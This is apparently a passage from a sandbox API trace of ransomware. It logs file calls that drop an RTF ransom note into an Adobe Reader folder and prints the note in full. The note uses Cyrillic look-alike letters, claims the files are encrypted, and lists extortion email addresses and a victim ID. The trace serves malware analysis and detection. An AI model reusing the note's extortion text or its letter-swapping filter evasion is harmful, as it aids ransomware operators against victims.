fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nYÀ\x0f³>GMAE«Ð5U\x97z\x09äê²þ«©Ê\x1a@", lpUsedDefaultChar=0x0) returned 14086 [0034.499] WriteFile (in: hFile=0x1d4, lpBuffer=0x1de4de8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x1de4de8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0034.500] CloseHandle (hObject=0x1d4) returned 1 [0034.500] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo\\!bwng_info!.rtf")) returned 0xffffffff [0034.500] GetLastError () returned 0x2 [0034.500] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0034.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r 